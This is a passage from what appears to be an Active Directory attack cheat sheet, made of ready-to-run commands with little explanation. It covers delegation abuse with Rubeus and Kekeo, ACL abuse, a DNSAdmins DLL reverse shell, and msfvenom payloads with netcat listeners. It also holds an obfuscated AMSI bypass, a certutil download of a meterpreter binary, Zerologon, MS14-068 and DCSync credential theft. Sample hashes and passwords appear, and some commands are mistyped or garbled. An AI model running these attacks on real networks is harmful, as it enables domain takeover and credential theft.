msDS-AllowedToActOnBehalfOfOtherIdentity is added to object SQL_server4$ for object USER 
sudo proxychains python rbcd_relay.py 192.168.1.2 steins.local SQL_server4$ USER

#View the privileges of the user
Get-ADComputer server -Server steins.local -Properties name,msDS-AllowedToActOnBehalfOfOtherIdentity,Principalsallowedtodelegatetoaccount,msds-allowedtodelegateto,trustedtoauthfordelegation      
      
    
#Get TGT and gain access to the server    
proxychains python3 ./getST.py -dc-ip 192.168.2.1 -spn cifs/server.steibslocal -impersonate sql_admin steins.local/sql_user:Password@123


export KRB5CCNAME=sql_admin.ccache;sudo proxychains psexec.py user/steinslocal@192.168.2.1 -k -no-pass -dc-ip 192.168.2.10 -target-ip 192.168.2.1

OR

 .\Rubeus.exe s4u /user:sql_user /rc4:58a478135a93ac3bf058a5ea0e8fdb71 /domain:steins.local /msdsspn:cifs/server.steins.local /impersonateuser:sql_admin /dc:dc.steins.local /ptt

dir \\server.steins.local\c$

psexec \\server.steins.local cmd.exe

Abusing UN-Constrained Delegation using SpoolSample

Delegation explained Here - Go through this 

#Find un-constrained delagaion=true machines using Powerview
Get-NetComputer -UnConstrained    
Get-DomainComputer -UnConstrained  

#Find systems with UnConstrained Delegation using AD Module 
Get-ADComputer -Filter {TrustedForDelegation -eq $True}
Get-ADUser -Filter {TrustedForDelegation -eq $True}


#Download SpoolSample and compile it and upload it on the server which has delegation=true 
SpoolSample.exe TARGET_Server Delegation_enabled_server 
Ex: SpoolSample.exe dc.steins.local delegated1.steins.local 

#Run rubeus as System on an Interactive window, right after you run spoolsample.exe you should see the target Server's TGT
#use psexec to run as NT Authority/System
Psexec -s -d -i cmd.exe
Rubeus.exe monitor /interval:1 

Note: if you are not seeing the target TGT on the rubeus even after many attemps, create a TGT for the server you have access to and try the target server again. 
#Optional - generate a TGT for a server 
Rubeus.exe asktgt /user:server1$ /enctype:RC4 /rc4:da71cba0f3b7a64d4318bd52c5ed4237 /domain:steins.local /dc:dc.steins.local /ptt 

#Here you have lot of options, generate a TGS for yourself as you got the target's TGT. this can be done using rubeus. 
#Copy paste the TGT, remove spaces and decode the base64 TGT and save it into a file. 

#Generate a TGS into a file and import it later into memory
Rubeus.exe s4u /ticket:srv1_tgt /impersonateuser:Administrator /outfile:TGS_administrator /domain:steins.local /dc:dc.steins.local

#Importing into memory 
Rubeus.exe ptt /ticket:TGS_TICKET

#Create a TGS for file system and import it directly into memory
Rubeus.exe  s4u /impersonateuser:administrator /self /ptt /dc:dc.steins.local /ticket:srv1_tgt /altservice:cifs/sever1.steins.local /domain:steins.local

dir \\sever1.steins.local\C$ 

#gaining a shell 
Rubeus.exe  s4u /impersonateuser:administrator /self /ptt /dc:dc.steins.local /ticket:srv1_tgt /altservice:HOST/sever1.steins.local /domain:steins.local

psexec.exe \\sever1.steins.local cmd.exe 

un-Constrained Delegation Rubeus cheatsheet

#List un-Constrained Delegation enabled users - PowerView
Get-DomainUser -ldapfilter "(userAccountControl:1.2.840.113556.1.4.803:=524288)"

#List un-Constrained Delegation enabled Computers - 
PowerView
Get-DomainComputer -Unconstrained

#Obtain a TGT for the Constained allowed user
.\Rubeus.exe asktgt /user:websvc /rc4:cc098f204c5887eaa8253e7c2749156f /outfile:TGT_websvc.kirbi

#Obtain a TGS of the Administrator user to self
.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /impersonateuser:Administrator /outfile:TGS_administrator

#Obtain service TGS impersonating Administrator (CIFS)
.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /tgs:TGS_administrator_Administrator@DOLLARCORP.MONEYCORP.LOCAL_to_websvc@DOLLARCORP.MONEYCORP.LOCAL /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /outfile:TGS_administrator_CIFS

#Impersonate Administrator on different service (HOST)
.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /tgs:TGS_administrator_Administrator@DOLLARCORP.MONEYCORP.LOCAL_to_websvc@DOLLARCORP.MONEYCORP.LOCAL /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /altservice:HOST /outfile:TGS_administrator_HOST

#Load ticket in memory
.\Rubeus.exe ptt /ticket:TGS_administrator_CIFS_HOST-dcorp-mssql.dollarcorp.moneycorp.local 

Constrained Delegation

#find Constrained Delegation enabled. Using PowerView(dev) 
Get-DomainUser -TrusedToAuth
Get -DomainComputer -TrusedToAuth 


#find Constrained Delegation enabled using Active Directry Module 
Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo

#Gain access to the constrained delegation enabled box and get TGT, fill will be saved to disk
kekeo# tgt::ask /user:websvc /domain:steins.local /rc4:NTLM_HASH

#using s4u from Kekeo, We request a TGS and it's saved in the file 
#service : services with permissions can only be accessed, see where what can access using admodule/powerview; 
tgs::s4u /tgt:Tgt_TICKET_PATH.kirbi /user:Administrator@steins.local /service:cifs/server2.steins.local 

or

tgs::s4u /tgt:Tgt_TICKET_PATH.kirbi /user:Administrator@steins.local /service:cifs/server2.steins.local|ldap/dc.steins.local 

#Inject the TGS and gain a shell 
Invoke-Mimikatz -command '"kerberos::ptt TGS_PATH.kirbi"'


Method-II

#using s4u from Kekeo_one (no SNAME validation)
#Here we have accesds to not just the service that we have access to but all the service that uses the same machines account as there is no validation. this way we can run attack like dcsync without domain admin privileges 

#Gain access to the constrained delegation enabled box and get TGT, fill will be saved to disk
kekeo# tgt::ask /user:steins-adminsrv.steins.local /domain:steins.local /rc4:NTLM_HASH

#Get TGS by using the TGT
tgs::s4u /tgt:TGT_TICKET_PATH.kirbi /user:Administrator@steins.local /service:time/steins.local | ldap/steins.local 


#Inject the TGS and gain a shell, now we should have access to ldap as administrator
Invoke-Mimikatz -command '"kerberos::ptt TGS_PATH.kirbi"'

#Run DCSync attack
Invoke-Mimikatz -Command '"lsadump::dcsync /user:steins.local\krbtgt"' 

Abusing ACL - Generic All 

Import-Module ./PowerView.ps1

#Find a group with GenericAll Rights & check if we have access to to any of the group via ACL. 
Get-DomainGroup -SamAccountName * | ? {($_.ActiveDirectoryRights -match 'GenericAll')}

#View the ACL's of the group 
Get-ObjectAcl -ResolveGUIDs | ? {($_.objectdn -eq "CN=Domian Admins,DC=steins,DC=local") -and ($_.ActiveDirectoryRights -match 'GenericAll')}

#if your account has GenericAll Access to the group, we can add ourselves to the group 
Add-DomainGroupMember -Identity 'Domain Admins' -Members UserName

#View if you are a part of the group 
Get-DomainGroupMember -SamAccountName 'Domain Admins'

Abusing Generic Write on user

#find a user on whom we have generic write acess and add a script block (which contains a rev shell) to the user account. som when the user logins - we get rev shell

#Enumerate to find all objects with GenericWrite
Get-ObjectAcl -SamAccountName * -ResolveGUIDs | ? {($_.ActiveDirectoryRights -match 'GenericWrite')}

#Create a rev shell
msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=9001 -f exe > revshell.exe

#Copy the rev shell on a SMB share which is accessible to the target machine. 

#Set the script path to the user 
Set-DomainObject -Identity UserName -Set @{'scriptpath'='\\share\revshell.exe'} -Verbose 

#start a listner, when the user logs in we get a rev shell as the user. 
rlwrap nc.exe -nvlp 9001 

Generic Write - Constrained delegation attack

powershell.exe -ep bypass

sET-ItEM ( 'V'+'aR' +  'IA' + 'blE:1q2'  + 'uZx'  ) ( [TYpE](  "{1}{0}"-F'F','rE'  ) )  ;    (    GeT-VariaBle  ( "1Q2U"  +"zX"  )  -VaL  )."A`ss`Embly"."GET`TY`Pe"((  "{6}{3}{1}{4}{2}{0}{5}" -f'Util','A','Amsi','.Management.','utomation.','s','System'  ) )."g`etf`iElD"(  ( "{0}{2}{1}" -f'amsi','d','InitFaile'  ),(  "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,'  ))."sE`T`VaLUE"(  ${n`ULl},${t`RuE} )

import-module ./PowerView.ps1
import-module ./Powermad.ps1

New-MachineAccount -MachineAccount mighty  -Password $(ConvertTo-SecureString 'Password@1234' -AsPlainText -Force) -Verbose

#if you do not have shell as the user -run below 2 commands and add -Credential $Cred along with the command whereever you need to elevate using these creds

$SecPassword = ConvertTo-SecureString 'PASSWORD@123' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('steins.local\bhanu', $SecPassword)


$ComputerSid = Get-DomainComputer mighty -Properties objectsid | Select -Expand objectsid

$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)

Get-DomainComputer Steins-DC.steins.local  | Set-DomainObject  -Credential $Cred -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -verbose


./Rubeus.exe hash /password:'Password@1234' /user:mighty /domain:roundsoft.local

./Rubeus.exe s4u /user:mighty$ /rc4:A0989207854B684F07B5B6FE68169A35 /impersonateuser:TARGET_User /msdsspn:cifs/Steins-DC /ptt

klist 

dir \\steins-dc\c$     #check if it lists the directory

psexec.exe \\steins-dc cmd.exe 

#Create a meterpreter shell using HackTheWorld and upload it to dc

certutil -f -split -urlcache http://10.10.10.10:8000/hac7777.exe

migrate the session to NT Authority System download hives

reg save HKLM\SYSTEM C:\system
reg save HKLM\SAM C:\sam


or use the below automated script

Generic Write -Constrained delegation attack

powershell.exe -ep bypass

sET-ItEM ( 'V'+'aR' +  'IA' + 'blE:1q2'  + 'uZx'  ) ( [TYpE](  "{1}{0}"-F'F','rE'  ) )  ;    (    GeT-VariaBle  ( "1Q2U"  +"zX"  )  -VaL  )."A`ss`Embly"."GET`TY`Pe"((  "{6}{3}{1}{4}{2}{0}{5}" -f'Util','A','Amsi','.Management.','utomation.','s','System'  ) )."g`etf`iElD"(  ( "{0}{2}{1}" -f'amsi','d','InitFaile'  ),(  "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,'  ))."sE`T`VaLUE"(  ${n`ULl},${t`RuE} )


Import-Module .\PowerView.ps1
Import-Module .\Powermad.ps1
function exploit ($Machine){
    New-MachineAccount -MachineAccount $Machine -Password $(ConvertTo-SecureString 'Password@1234' -AsPlainText -Force) -Verbose
    $ComputerSid = Get-DomainComputer $Machine -Properties objectsid | Select -Expand objectsid
    Write-Output "[+] SID: $ComputerSid"
    $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
    $SDBytes = New-Object byte[] ($SD.BinaryLength)
    $SD.GetBinaryForm($SDBytes, 0)
    Get-DomainComputer STEINS-DC -SearchBase "LDAP://DC=steins,DC=local" | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -SearchBase "LDAP://DC=steins,DC=local" -verbose
    $RawBytes = Get-DomainComputer STEINS-DC -Properties 'msds-allowedtoactonbehalfofotheridentity' | select -expand msds-allowedtoactonbehalfofotheridentity
    $Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes, 0
    $Descriptor.DiscretionaryAcl    
    Write-Output "[+] Done!"
}

#save the script as mysrc.ps1

. .\mysrc.ps1
exploit mighty

./Rubeus.exe hash /password:'Password@1234' /user:mighty /domain:roundsoft.local

./Rubeus.exe s4u /user:mighty$ /rc4:A0989207854B684F07B5B6FE68169A35 /impersonateuser:TARGET_User /msdsspn:cifs/Steins-DC /ptt

DNSAdmins Group to DC 

- This attack works only if you are part of the default DNSAdmins Group. 

DLL entry is stored at HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\DNS\Parameters\ - ServiceLevelPlugindll; Delete the entry after you are done with the attack 

#Create a Reverse shell DLL
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.30 LPORT=443 -f dll -o rev.dll

#Start SMB Server 
sudo smbserver.py shell . 

#on Target who is a part of DNSAdmins Group 
dnscmd.exe /config /serverlevelplugindll \\10.10.10.10\shell\rev.dll
or

dnscmd.exe dc.steins.local /config /serverlevelplugindll \\10.10.10.10\shell\rev.dll

#Restart DNS service 
sc.exe \\HOSTNAME stop dns
sc.exe \\HOSTNAME start dns

#Start a netcat Lister
nc -nvlp 443

Exploting Knock & Pass Kerbeoros MS14-068

apt-get install krb5-user cifs-utils rdate

#add DCIP to /etc/hosts
10.10.10.10 dc.steins.local dc

# Add the target as a namesever in /etc/resolv.conf 
nameserver 10.10.10.10

#take a backup of /etc/krb5.conf and replace it with below - Case Sensitive                                                  
[libdefaults]
    default_realm = HTB.LOCAL

[realms]
   HTB.LOCAL = {
        kdc = mantis.htb.local:88
        admin_serve = mantis.htb.local
        default_domain = HTB.LOCAL
    }
[domain_realm]
    .domain.internal = HTB.LOCAL
    domain.internal = HTB.LOCAL

#Generate a kerberos ticket
 kinit james

#View the ticket 
klist 

#Lets generate a Golden Ticket

goldenPac.py -dc-ip 10.10.10.10 -target-ip 10.10.10.10 steins.local/username@dc.steins.local

Abusing ZeroLogin CVE-2020-1472 

mimikatz.exe

#check if the dc is vulnerable or not 
lsadump::zerologon  /taret::dc.steins.local /account:dc$

#Exploiting the vuln; password is removed for DC. 
lsadump::zerologon  /taret::dc.steins.local /account:dc$ /exploit

#we can run dcsync attack to get the hash now. if we can get krbtgt hash - golden ticket and silver ticket attacks are possible
lsadump::dcsync /dc:dc.steins.local /authuser:dc$ /authdomain:anything.local /authpassword:"" /authntlm /user:krbtgt 

 

Abusing Exchange Severs

#Abusing Exchange if you are part of Organizational Management group, fixed the bug in 2019 c2

#Organizational Management group, --> has access to exchange server --> exchange server is a member of Exchange Trustred Subsystems --> Exchange Trustred Subsystems is a member of Exchange Windows Permissions --> who can modify WriteDACL on all the root level domain objects. which leads to forest compromise. 


#Login to exchange server --> bypass AMSI 
#upload mimikatz to the target machine
Invoke-Command -FilePath .\Invoke-Mimikatz.ps1 -Session $ExchangeServer
Enter-PSSession $ExchangeServer

#Download all the keys/creds from exchange server 
Invoke-Mimikatz -Command '"sekurlsa::ekeys"'

#abusing exchange to gain DCSync
Invoke-Mimikatz -Command '"sekurlsaL:LInvoke
Invoke-Mimikatz -Command '"sekurlsa::pth /user:ExchangeServer$ domain:Steins.local /ntlm:232d9ad8g79a8sac22f4asd36a543 /run:powershell.exe"'
Import-Module .\Microsoft.ActiveDirectory.Management.dll
Import-Module .\ActiveDirectory ActiveDirectory.psd1
Import-Module .\RACE.ps1

#Adding an ACL To DC to allow DCSync permissions 
Set-ADACL -SamAccountName <UserName_toGive_Permissions> -DistinguishedName 'DC=steins,DC=local' -server steins.local -GUIDRight DCSync -Verbose

#login as the user and run DCSync
Invoke-Mimikatz -Command '"lsadump::dcsync /user:steins.local\krbtgt /domain:steins.local"'

#Geting mailbox account hashes.. when ever a user logins to 
Invoke-Mimikatz -Command '"sekurlsa::ekeys"'



#Abusing Exchange if you are part of Exchange Windows Permissions - can modify WriteDACL on all the root level domain objects. which leads to forest compromise. 

#Adding an ACL To DC to allow DCSync permissions 
Set-ADACL -SamAccountName <UserName_toGive_Permissions> -DistinguishedName 'DC=steins,DC=local' -server steins.local -GUIDRight DCSync -Verbose

#login as the user and run DCSync
Invoke-Mimikatz -Command '"lsadump::dcsync /user:steins.local\krbtgt /domain:steins.local"'


Abusing ACLs on Exchange Srever to gain persistence

#Use the below command on DC as DA to provide studentuser1 WriteDACL permissions on Exchange Windows Permissions group which, in turn, has WriteDACL permission on the domain object (or even forest root domain object depending on the installation).
Set-DCPermissions -Method GroupDACL -DistinguishedName 'CN=Exchange Windows Permissions,OU =Microsoft Exchange Security Groups,DC=steins,DC=local' -SAMAccountName DOMAIN\USERNAME -Verbose

#Use the below command as USER to modify ACL on Exchange Windows Permissions and add WriteMember rights to studentuser1:
Set-ADACL S-amAccountName <USERNAME> -DistinguishedName 'CN=Exchange Windows Permissions,OU =Microsoft Exchange Security Groups,DC=steins,DC =local' -GUIDRight WriteMember -Server steins.local Verbose